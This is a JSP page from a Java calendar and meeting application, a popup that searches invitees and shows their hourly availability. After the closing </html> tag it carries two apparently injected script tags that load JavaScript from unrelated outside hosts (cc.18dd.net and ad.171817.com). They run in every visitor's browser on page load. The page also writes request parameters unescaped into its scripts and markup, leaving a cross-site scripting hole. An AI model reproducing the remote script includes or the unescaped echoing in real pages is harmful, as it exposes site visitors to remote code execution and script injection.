<%
/*
 * @(#)PopupSearchInvite.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of DCIVision
 * Ltd ("Confidential Information").  You shall not disclose such Confidential
 * Information and shall use it only in accordance with the terms of the license
 * agreement you entered into with DCIVision Ltd.
 */


/**
  PopupSearchInvite.jsp

  This file is reflecting business logic to view the booked meeting.

    @author           Tony Chen
    @company          DCIVision Limited
    @creation date    18/12/2003
    @version          $Revision: 1.31.4.8 $
*/
%>
<%@ page contentType="text/html;charset=UTF-8"%>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>

<%@ page import="java.util.ArrayList"%>
<%@ page import="java.util.Collection"%>

<%@ page import="java.util.*, javax.sql.*, java.sql.*, com.dcivision.framework.*" %>
<%@ page import="com.dcivision.alert.bean.*" %>
<%@ page import="com.dcivision.alert.core.*" %>
<%@ page import="com.dcivision.alert.dao.*" %>
<%@ page import="com.dcivision.calendar.web.*" %>
<%@ page import="com.dcivision.calendar.*" %>
<%@ page import="com.dcivision.calendar.bean.*" %>


<%@ page import="com.dcivision.workflow.bean.*" %>
<%@ page import="com.dcivision.user.bean.*" %>
<%@ page import="com.dcivision.user.dao.*" %>
<%@ page import="org.apache.commons.logging.LogFactory"%>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="maintCalendarInvite" scope="session" class="com.dcivision.calendar.web.MaintCalendarRecordForm"/>
<jsp:useBean id="listCalendarRecordForm" scope="session" class="com.dcivision.calendar.web.ListCalendarRecordForm"/>
<html>
<head>
<title><%=SystemParameterFactory.getSystemParameter(SystemParameterConstant.PAGE_TITLE)%></title>
<meta http-equiv="Pragma" content="no-cache">
<meta http-equiv="Cache-Control" content="no-cache">
<meta http-equiv="Expires" content="0">
<link rel="stylesheet" href="<%= request.getContextPath() %>/theme/pref<%= sessionContainer.getPreference() %>/css/lang/
  <%= sessionContainer.getSessionLocale().toString() %>/GlobalStyle.css" charset="UTF-8" type="text/css">

<!-- Common Javascript Begin -->
<script language="Javascript" src="<%= request.getContextPath() %>/js/Calendar.jsp"
  charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/NewCalendar.jsp" charset="UTF-8" type="text/javascript"></script>
<!-- Common Javascript End -->

</head>
<%
  List userList = (List)session.getAttribute("allUserList");
  request.setAttribute("userList", userList);
  java.sql.Connection conn = DataSourceFactory.getConnection();
  pageContext.setAttribute("function_permission", sessionContainer.getPermissionManager().getPermission(conn, "DMS_ISSUE", new Integer(PageContext.PAGE_SCOPE)));
  List recipientAry = new ArrayList();;
  String updateAlertID = (String) request.getParameter("updateAlertID");
  Integer defStartShowHour = session.getAttribute("defStartShowHour")==null ? new Integer(0) : (Integer)session.getAttribute("defStartShowHour");
  Integer defEndShowHour = session.getAttribute("defEndShowHour")==null ? new Integer(23) : (Integer)session.getAttribute("defEndShowHour");//Update By Jim.Zhou		2006/06/30		Bug	#5666
  String popSearchInvite = "true";
  session.setAttribute("popSearchInvite", popSearchInvite);
  try {
    MtmUpdateAlertRecipientDAObject updateRecipientDAO = new MtmUpdateAlertRecipientDAObject(sessionContainer, conn);

    // Get all recipients.
    String[] userRecords = session.getAttribute("userRecords")!=null ? (String[])session.getAttribute("userRecords") : null;
    String[] userGroups = session.getAttribute("userGroups")!=null ? (String[])session.getAttribute("userGroups") : null;
    String[] userRoles =  session.getAttribute("userRoles")!=null ? (String[])session.getAttribute("userRoles"): null;
    String recipientType = null;
    String[] tmprecipientAry =null;
    if (userRecords==null && userGroups==null && userRoles==null ) {
      if (!Utility.isEmpty(updateAlertID)) {
        recipientAry = updateRecipientDAO.getByUpdateAlertID(new Integer(updateAlertID));
       }

      tmprecipientAry = new String[recipientAry.size()];
      for (int i = 0; i < recipientAry.size(); i++) {
        MtmUpdateAlertRecipient tmprecipient = (MtmUpdateAlertRecipient)recipientAry.get(i);
        if (i == 0) {
            recipientType = tmprecipient.getRecipientType();
        }
        tmprecipientAry[i] = tmprecipient.getRecipientID().toString();
      }
      userRecords = tmprecipientAry;
    }

    Integer selectedUserID = sessionContainer.getUserRecordID();
    GregorianCalendar gCal = new GregorianCalendar() ;

    int currentDay = gCal.get(GregorianCalendar.DAY_OF_MONTH) ;
    int currentMonth = gCal.get(GregorianCalendar.MONTH) + 1 ;
    int currentYear = gCal.get(GregorianCalendar.YEAR) ;
    int weekDay = gCal.get(GregorianCalendar.DAY_OF_WEEK) ;
    int startOfMonth = gCal.getActualMinimum(GregorianCalendar.DAY_OF_MONTH) ;
    int endOfMonth = gCal.getActualMaximum(GregorianCalendar.DAY_OF_MONTH) ;

    int selectedDay = currentDay;
    int selectedMonth = currentMonth;
    int selectedYear = currentYear;
    if (session.getAttribute("CALENDAR_SELECTED_DATE")!=null){
      Calendar selectedDateInSession = (Calendar)session.getAttribute("CALENDAR_SELECTED_DATE");
      selectedDay = selectedDateInSession.get(Calendar.DAY_OF_MONTH);
      selectedMonth = selectedDateInSession.get(Calendar.MONTH)+1;
      selectedYear = selectedDateInSession.get(Calendar.YEAR);
    }

    if (request.getParameter("selectedDay")!=null)
      selectedDay = (TextUtility.parseIntegerObj(request.getParameter("selectedDay"))).intValue();
    if (request.getParameter("selectedMonth")!=null)
      selectedMonth = (TextUtility.parseIntegerObj(request.getParameter("selectedMonth"))).intValue();
    if (request.getParameter("selectedYear")!=null)
      selectedYear = (TextUtility.parseIntegerObj(request.getParameter("selectedYear"))).intValue();

    if (session.getAttribute("CALENDAR_SELECTED_USERID")!=null)
      selectedUserID = (Integer)session.getAttribute("CALENDAR_SELECTED_USERID");

    String selectedDateTime = (String) session.getAttribute("startDate");

    java.text.SimpleDateFormat formatter = null;
  String locale=SystemParameterFactory.getSystemParameter(SystemParameterConstant.LOCALE);
  String[] lc = locale.split("_");
    if (Utility.isEmpty(session.getAttribute("startDate"))){
      Calendar calendar1 = Calendar.getInstance();
      calendar1.set(selectedYear,selectedMonth-1,selectedDay);
      selectedDateTime = TextUtility.formatTimestampToDate(Utility.calendarToTimestamp(calendar1));
      formatter = new java.text.SimpleDateFormat(SystemParameterFactory.getSystemParameter(SystemParameterConstant.DATE_FORMAT), new Locale(lc[0],lc[1]));
    }else{
      formatter = new java.text.SimpleDateFormat(SystemParameterFactory.getSystemParameter(SystemParameterConstant.DB_DATETIME_FORMAT), new Locale(lc[0],lc[1]));
    }
    java.util.Date selectDate = formatter.parse(selectedDateTime);

    Calendar selectedDate = Calendar.getInstance();
    selectedDate.setTime(selectDate);
    Utility.setCalendarTime(selectedDate,0,0,0,0);

    selectedMonth =  selectedDate.get(Calendar.MONTH)+1;
    selectedDay = selectedDate.get(Calendar.DATE);
    selectedYear = selectedDate.get(Calendar.YEAR);

    String dateInLongFormat = TextUtility.formatDate(selectedDate.getTime(),"dd MMMM yyyy");
    String selectDatepickerValue = TextUtility.formatDate(selectedDate.getTime(),SystemParameterFactory.getSystemParameter(SystemParameterConstant.DB_DATETIME_FORMAT).substring(0,10));

    List selectedUserIDList = new ArrayList();
    if (session.getAttribute("selectedUserIDList")!=null) {
      selectedUserIDList = (ArrayList) session.getAttribute("selectedUserIDList");
    }
    Map selectedUserCalendarMap = new HashMap();
    if (session.getAttribute("selectedUserCalendarMap")!=null) {
      selectedUserCalendarMap = (HashMap) session.getAttribute("selectedUserCalendarMap");
    }

    int selectedHr = -1;
    if (request.getParameter("selectedHr")!=null)
      selectedHr = Integer.parseInt(request.getParameter("selectedHr"));
    int selectedMin = 0;
    if (request.getParameter("selectedMin")!=null)
      selectedMin = Integer.parseInt(request.getParameter("selectedMin"));

    UserRecordDAObject userRecordDAO = new UserRecordDAObject(sessionContainer, conn);
    UserRecord userRecord = new UserRecord();

    //get userRecord
    String userListString = "";
    //get userGoup
    String groupListString = "";
    //get userRole
    String roleListString = "";
    if (userRecords!=null) {
      for(int ii = 0;ii<userRecords.length;ii++){
        if(ii!=0)
          userListString += ",";
        userListString += "|"+userRecords[ii]+"|";
      }
    }
    if (userGroups!=null) {
      for(int ii = 0;ii<userGroups.length;ii++){
        if(ii!=0)
          groupListString += ",";
        groupListString += "|"+userGroups[ii]+"|";
      }
    }
    if (userRoles!=null) {
      for(int ii = 0;ii<userRoles.length;ii++){
        if(ii!=0)
          roleListString += ",";
        roleListString += "|"+userRoles[ii]+"|";
      }
    }
%>
<body bgcolor="#FFFFFF" text="#000000" leftmargin="5" topmargin="5" marginwidth="5" marginheight="5"
  link="#000000" vlink="#000000" alink="#000000" onLoad="new Calendar(new Date());">

<script language="JavaScript">
<!--
function setValue(id, issueName) {
  var win = window.opener;
  win.document.forms["<%= request.getParameter("formName") %>"].
    elements["<%= request.getParameter("idField") %>"].value = id;
  win.document.forms["<%= request.getParameter("formName") %>"].
    dummy_display_<%= request.getParameter("idField") %>.value = issueName;
  win.document.forms["<%= request.getParameter("formName") %>"].
    opMode.value = "<%=GlobalConstant.NAV_MODE_REFRESH%>";
  win.document.forms["<%= request.getParameter("formName") %>"].submit();

  self.close();
}

function OpResetSearchForm(){

  document.maintCalendarInvitationForm.updateAlertID.value='';
  document.maintCalendarInvitationForm.startDate.value='';
  document.maintCalendarInvitationForm.selectedDay.value=<%=currentDay%>;
  document.maintCalendarInvitationForm.selectedMonth.value=<%=currentMonth%>;
  document.maintCalendarInvitationForm.selectedYear.value=<%=currentYear%>;
  document.maintCalendarInvitationForm.opMode.value = "SS";
  document.maintCalendarInvitationForm.navMode.value = "LS";
  ResetSelectBox(document.maintCalendarInvitationForm.userRecords);
  ResetSelectBox(document.maintCalendarInvitationForm.userGroups);
  ResetSelectBox(document.maintCalendarInvitationForm.userRoles);
  document.maintCalendarInvitationForm.submit();
  return false;
}

function opCustSearch() {
  var frm = document.maintCalendarInvitationForm;
  var isSelectInviteUserID=false;
  var isSelectInviteUserGroup=false;
  var isSelectInviteUserRole=false;
  isSelectInviteUserID=IsSelectBox(frm.userRecords);
  isSelectInviteUserGroup=IsSelectBox(frm.userGroups);
  isSelectInviteUserRole=IsSelectBox(frm.userRoles);
  if(!isSelectInviteUserID && !isSelectInviteUserGroup && !isSelectInviteUserRole){
    alert("<bean:message key='errors.calendar.user_is_required'/>");
    return false;
  }
  frm.opMode.value = "SS";
  frm.navMode.value = "LS";
  frm.submit();
  return(false);
}

function dateTimeAttendeeSelectSubmit()
{
  var invitArr = new Array();
  invitArr[0] = "<%=userListString%>";
  invitArr[1] = "<%=groupListString%>";
  invitArr[2] = "<%=roleListString%>";
  var frm = document.maintCalendarInvitationForm;
  //window.opener.NavHelp();
  try{
    window.opener.PutCalendarSechduleSelection(
    "<%=request.getParameter("formName")%>",
    frm.selectedDay.value,
    frm.selectedMonth.value,
    frm.selectedYear.value,
    frm.startHour.value,
    frm.startMinute.value,
    frm.endHour.value,
    frm.endMinute.value,
    frm.dummy_startDate.value,
    invitArr);
  }catch(e){
  }
  window.close();

}

function ResetSelectBox(box) {
  if(!box){
    return;
  } else if(!box.length) {
    box.checked=false;
  } else {
    for(i=0;i<box.length;i++) {
      box[i].checked=false;
    }
  }
}

function IsSelectBox(box) {
  if(!box){
    return false;
  } else if(!box.length) {
    if(box.checked){
      return true;
    } else {
      return false;
    }
  } else {
    for(i=0;i<box.length;i++) {
      if(box[i].checked){
        return true;
      }
    }
    return false;
  }
}

function DisabledSelectBox(box,disabled) {
  if(!box){
    return;
  } else if(!box.length) {
    box.disabled=disabled;
  } else {
    for(i=0;i<box.length;i++) {
      box[i].disabled=disabled;
    }
  }
}

function PutCalendarSechduleSelection(formName, selectedDay,
    selectedMonth, selectedYear, startHour, startMinute, endHour, endMinute) {

  eval('document.'+formName+'.selectedDay.value = "'+ selectedDay+'"');
  eval('document.'+formName+'.selectedMonth.value = "'+ selectedMonth+'"');
  eval('document.'+formName+'.selectedYear.value = "'+ selectedYear+'"');
  eval('document.'+formName+'.startHour.value = "'+ startHour+'"');
  eval('document.'+formName+'.startMinute.value = "'+ startMinute+'"');
  eval('document.'+formName+'.endHour.value = "'+ endHour+'"');
  eval('document.'+formName+'.endMinute.value = "'+ endMinute+'"');
  eval('document.'+formName+'.opMode.value ="R"');
  eval('document.'+formName+'.navMode.value ="null"');
  eval('document.'+formName+'.submit()');

  return(false);
}
function disabledOtherType(type){
  var frm = document.maintCalendarInvitationForm;
  if(type==1){
    DisabledSelectBox(frm.userRecords,false);
    DisabledSelectBox(frm.userGroups,true);
    DisabledSelectBox(frm.userRoles,true);
  } else if(type==2){
    DisabledSelectBox(frm.userRecords,true);
    DisabledSelectBox(frm.userGroups,false);
    DisabledSelectBox(frm.userRoles,true);
  } else {
    DisabledSelectBox(frm.userRecords,true);
    DisabledSelectBox(frm.userGroups,true);
    DisabledSelectBox(frm.userRoles,false);
  }
}

-->
</script>
<html:form type="maintCalendarInvitationForm" action="/PopupSearchInvite">
<input type="hidden" name="opMode" value="">
<input type="hidden" name="navMode" value="">
<input type="hidden" name="formName" value='<%= request.getParameter("formName") %>'>
<input type="hidden" name="selectedDay" value="<%=selectedDay%>">
<input type="hidden" name="selectedMonth" value="<%=selectedMonth%>">
<input type="hidden" name="selectedYear" value="<%=selectedYear%>">

<html:hidden property='updateAlertID'/>
<html:hidden property='creatorID'/>
<input type="text" name="test" style="display:none"/>
<table cellpadding="0" cellspacing="0" border="0" width="100%">
  <tr><td>
    <table width="100%" border="0" cellspacing="0" cellpadding="0">
      <tr>
        <td><html:img src="LayoutSpacer.gif" width="1" height="5" /></td>
      </tr>
      <tr><td>
         <table width="90" border="0" cellspacing="0" cellpadding="0">
          <tr>
            <td class="sectionTitle" nowrap><bean:message key ='calendar.label.invitation_search'/>:</td>
            <td align="right">
              <table width="90" border="0" cellspacing="0" cellpadding="0">
                <tr>
                  <td class="mandatoryLabel" width="18">&nbsp;</td>
                  <td class="bodySmallBold" nowrap>&nbsp;<bean:message key ='common.label.mandatory'/></td>
                </tr>
              </table>
            </td>
           </tr>
          <tr>
            <td class="blackLine" colspan="2">
              <html:img src="LayoutSpacer.gif" width="1" height="1" /></td>
          </tr>

      <tr>
        <td class="dataLabel" width="25%" nowrap valign="top">
          <bean:message key='calendar.label.attendee_type'/>:&nbsp;</td>
        <td class="dataField" width="75%">
           <table width="100%" cellpadding="0" cellspacing="0" border="0">
           <tr>
            <td class="dataField">
              <bean:message key='dms.label.recipient_users'/></td>
            <td class="dataField">
              <bean:message key='dms.label.recipient_groups'/></td>
          <td class="dataField">
            <bean:message key='dms.label.recipient_roles'/></td>
        </tr>
        <%
          String[] usersArray = null;
          String[] groupsArray = null;
          String[] rolesArray = null;

          if (!Utility.isEmpty(userList)) {
            usersArray = new String[userList.size()];
            for (int i = 0; i < userList.size(); i++) {
            usersArray[i] = ( (UserRecord) userList.get(i)).
              getID().toString();
            }
          }

        %>
        <tr>
          <td class="dataField">
            <html:checkboxOptions dbListName='userRecordList' name='userRecords' nameValue='<%=userRecords%>' hasSelect='false' width='200'/>
          </td>
          <td class="dataField">
            <html:checkboxOptions dbListName='userPublicGroupList' name='userGroups' nameValue='<%=userGroups%>' hasSelect='false' width='200'/>
          </td>
          <td class="dataField">
            <html:checkboxOptions dbListName='userRoleList' name='userRoles' nameValue='<%=userRoles%>' hasSelect='false' width='200'/>
         </td>
          </tr>
      </table>
    </td>
 </tr>
  <tr>
    <td class="dataLabel" width="25%" nowrap valign="top"><bean:message key='calendar.columnheader.date'/>:&nbsp;</td>
    <td class="dataField" width="75%"><html:datepicker property='startDate'  value ='<%=selectDatepickerValue%>' />
      <html:standardButton label="common.label.go" onClick="return opCustSearch()"/>
      <html:standardButton label="common.label.reset" onClick="return OpResetSearchForm()"/>
    </td>
   </tr>
 </table>
</td></tr>
     </table>
     </td></tr>
     <tr><td>
      <table width="100%" border="0" cellspacing="0" cellpadding="0">
        <tr><td>
           <table width="100%" border="0" cellspacing="0" cellpadding="0">
            <tr>
              <td align="center"><html:img src="LayoutSpacer.gif" width="1" height="10" /></td>
            </tr>
          <tr>
        <td width="60%" class="greyD" colspan="22" align='left'>
          <b><%=dateInLongFormat%></b>
        </td>

          </tr>
      </table>
    </td></tr>
         </table>
     </td></tr>
     <tr><td>
      <table width="100%" border="1" cellspacing="0" cellpadding="0">
            <tr><td>
                     <table width="100%" border="0" cellspacing="0" cellpadding="0">
          <tr>
           <td class="dataLabel" width="90" nowrap>
           <bean:message key='calendar.label.attendee_name'/>
           </td>
<%
  int currentHr = 0;
  int endHr = 0;
  Calendar startDateFromRec = null;
  Calendar endDateFromRec = null;
  CalendarUtility util = new CalendarUtility();

  boolean isInvited = false;
  boolean haveWholeDayEvent = false;
  Calendar dateTimeFromRec = Calendar.getInstance();
  Calendar endTimeFromRec = Calendar.getInstance();
  ArrayList list = new ArrayList();

  if (!Utility.isEmpty((ArrayList)session.getAttribute("eventList"))) {
    list = (ArrayList)session.getAttribute("eventList");
  }


  CalendarRecord calendar = null;

  for (int j=0;j<list.size();j++){
    if (list.get(j) instanceof CalendarRecord) {
      calendar = (CalendarRecord)list.get(j);
      startDateFromRec = Utility.timestampToCalendar(calendar.getDatetime());
      Utility.setCalendarTime(startDateFromRec,0,0,0,0);
      endDateFromRec = Utility.timestampToCalendar(calendar.getEndtime());
      Utility.setCalendarTime(endDateFromRec,0,0,0,0);
      try {
        if ((startDateFromRec.before(selectedDate)&&endDateFromRec.after(selectedDate))||
            (GlobalConstant.TRUE.equals(calendar.getIsWholeDay())&&(startDateFromRec.equals(selectedDate)||
              endDateFromRec.equals(selectedDate)))
            ) {
          haveWholeDayEvent = true;
          break;
        }
      }
      catch (Exception e) {}
    }
  }
  //defind table colums of the time rang according to the preference time rang.
  for (int i = defStartShowHour.intValue();i<=defEndShowHour.intValue();i++)  {		%>
        <td class="<%= ((i%2)!=0) ? "greyD" : "greyE" %>">
         <table width="40" border="0" cellspacing="0" cellpadding="0">
            <tr>
            <td width="100%" align='top' class="bodyBold">
              &nbsp;<%=i < 13 ? (i==0 ? "12" : String.valueOf(i) ) : String.valueOf(i-12)%>:00&nbsp;<bean:message key='<%= (i<12) ? "common.label.am" : "common.label.pm" %>'/>
            </td>
            </tr>
        </table>
      </td>

<%}
  int loopTime = 0;
  int startTime = 0;
  boolean haveEvent = false;
%>
          </tr>


<%	list=null;
  for (int k=0; k<selectedUserIDList.size(); k++) {
    list = (ArrayList) selectedUserCalendarMap.get(selectedUserIDList.get(k));
    int curUserID = sessionContainer.getUserRecordID().intValue();
    int targetUserID = ((Integer)selectedUserIDList.get(k)).intValue();
    userRecord = (UserRecord) userRecordDAO.getObjectByID((Integer)selectedUserIDList.get(k));

    if ( true){              %>
                <tr>
                  <td class="dataLabel" width="90" nowrap>
<%		userRecord = (UserRecord) userRecordDAO.getObjectByID((Integer)selectedUserIDList.get(k));
    if (!Utility.isEmpty(userRecord)){
      if(curUserID==targetUserID){
%>
          <font color="blue"><%=userRecord.getFullName()%></font>
<%			}else{
%>
          <%=userRecord.getFullName()%>
<%
    }
%>
<%}%>
                  </td>
<%	}
    loopTime = 0;
    startTime = 0;
    haveEvent = false;

    if ( true){
      for (int i = defStartShowHour.intValue();i<=defEndShowHour.intValue();i++)  {
            %>
        <td class="<%= ((i%2)!=0) ? "greyD" : "greyE" %>">
         <table width="100%" border="0" cellspacing="0" cellpadding="0">
            <tr height="5">
            <td width="40" align='top' class="bodyBold">
            <%if (loopTime > 0) { %>
                <html:img src='BarChart6.jpg'  width='60' height='15'/>
          <% 		loopTime--;
                 haveEvent = true;
              }
        isInvited = false;

        for (int j=0;j<list.size();j++){
          if (list.get(j) instanceof CalendarRecord) {
            calendar = (CalendarRecord)list.get(j);
            dateTimeFromRec.setTime(calendar.getDatetime());
            if (!Utility.isEmpty(calendar.getEndtime()))
              endTimeFromRec.setTime(calendar.getEndtime());
            currentHr = (Utility.timestampToCalendar(calendar.getDatetime())).get(Calendar.HOUR_OF_DAY);
            if (!Utility.isEmpty(calendar.getEndtime())){
              endHr = (Utility.timestampToCalendar(calendar.getEndtime())).get(Calendar.HOUR_OF_DAY);
            } else {
              endHr = (Utility.timestampToCalendar(calendar.getDatetime())).get(Calendar.HOUR_OF_DAY);
            }

            startDateFromRec = Utility.timestampToCalendar(calendar.getDatetime());
            Utility.setCalendarTime(startDateFromRec,0,0,0,0);
              if (Utility.isEmpty(calendar.getEndtime()))
                endDateFromRec = startDateFromRec;
            else
              endDateFromRec = Utility.timestampToCalendar(calendar.getEndtime());
            Utility.setCalendarTime(endDateFromRec,0,0,0,0);
            if ((startDateFromRec.equals(selectedDate)||endDateFromRec.equals(selectedDate))&&
              (currentHr<= i && i<=endHr  )&&(GlobalConstant.FALSE.equals(calendar.getIsWholeDay())||
              calendar.getIsWholeDay()==null)) {
                isInvited = util.checkInvitedToMeeting(calendar.getID(),sessionContainer,conn);
                if (startDateFromRec.before(selectedDate)&&endDateFromRec.equals(selectedDate)) {			%>
                  <b>
                  <%
                } else {					%>
                  <b>
                  <%
                  String tmp = TextUtility.formatDate(dateTimeFromRec.getTime(),
                    SystemParameterFactory.getSystemParameter(SystemParameterConstant.DB_DATETIME_FORMAT));
                  startTime = new Integer(tmp.substring(0,2)).intValue();
                  if (i== (int) startTime) { %>
                    <html:img src='BarChart6.jpg'  width='60' height='15'/>
                    <% 							haveEvent = true;

                  }
                }
              if (endDateFromRec.after(selectedDate)&&startDateFromRec.equals(selectedDate)) {
                 loopTime =( new Integer(TextUtility.formatDate(endTimeFromRec.getTime(),
                 SystemParameterFactory.getSystemParameter(SystemParameterConstant.DB_DATETIME_FORMAT)).
                 substring(0,2)).intValue()) - startTime ;

              } else {
                 loopTime =( new Integer(TextUtility.formatDate(endTimeFromRec.getTime(),
                 SystemParameterFactory.getSystemParameter(SystemParameterConstant.DB_DATETIME_FORMAT)).
                 substring(0,2)).intValue()) - startTime ;

              }							%>
          <a title='<%=calendar.getTitle()%>' href='calendar/MaintCalendar.do?navMode=V&
            ID=<%=calendar.getID()%>' target='_blank'><font class='<%= (calendar.getCreatorID().equals(sessionContainer.getUserRecordID())) ?
            "calendar_own_event" : ( (isInvited)  ? "calendar_others_meeting" : "calendar_others_event") %>'><nobr><html:summarizeContent key="<%=calendar.getTitle()%>" limitLength="10" /></nobr></font></a><br>

<%				}//end time equals
      }
    }						%>
             </td>
             </tr>
         </table>
      </td>

<%		}
  }	%>
          </tr>
<%	}	%>
          </table>
    </td></tr>

         </table>
     </td></tr>

<input type="hidden" name="startHour" value="">
<input type="hidden" name="startMinute" value="">
<input type="hidden" name="endHour" value="">
<input type="hidden" name="endMinute" value="">
</table>

<center><BR>
  <html:standardButton label="common.label.confirm" onClick="return dateTimeAttendeeSelectSubmit();"/>
  <html:standardButton label="common.label.close" onClick="self.close();return(false);"/>
</center>
</html:form>
<%
  } catch (Exception e) {
    out.print(e);
    LogFactory.getLog(this.getClass()).error(e, e);
  } finally {
    try { conn.close(); } catch (Exception ignore) {} finally { conn = null; }
    session.removeAttribute("dmsIssueList");
    session.removeAttribute("startDate");
    session.removeAttribute("selectedUserIDList");
    session.removeAttribute("selectedUserCalendarMap");
    session.removeAttribute("CALENDAR_SELECTED_NAV_MODE");
  }
%>
<script language="Javascript">
 if(document.maintCalendarInvitationForm.userRecords.length > 0 ){
  for(var i = 0 ;i < document.maintCalendarInvitationForm.userRecords.length ; i ++){
    if (document.maintCalendarInvitationForm.userRecords[i].value == <%=sessionContainer.getUserRecordID().toString()%>){
      document.maintCalendarInvitationForm.userRecords[i].disabled = true;
    }
  }//end loop maintCalendarForm.userRecord
 }


</script>
</body>
</html>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>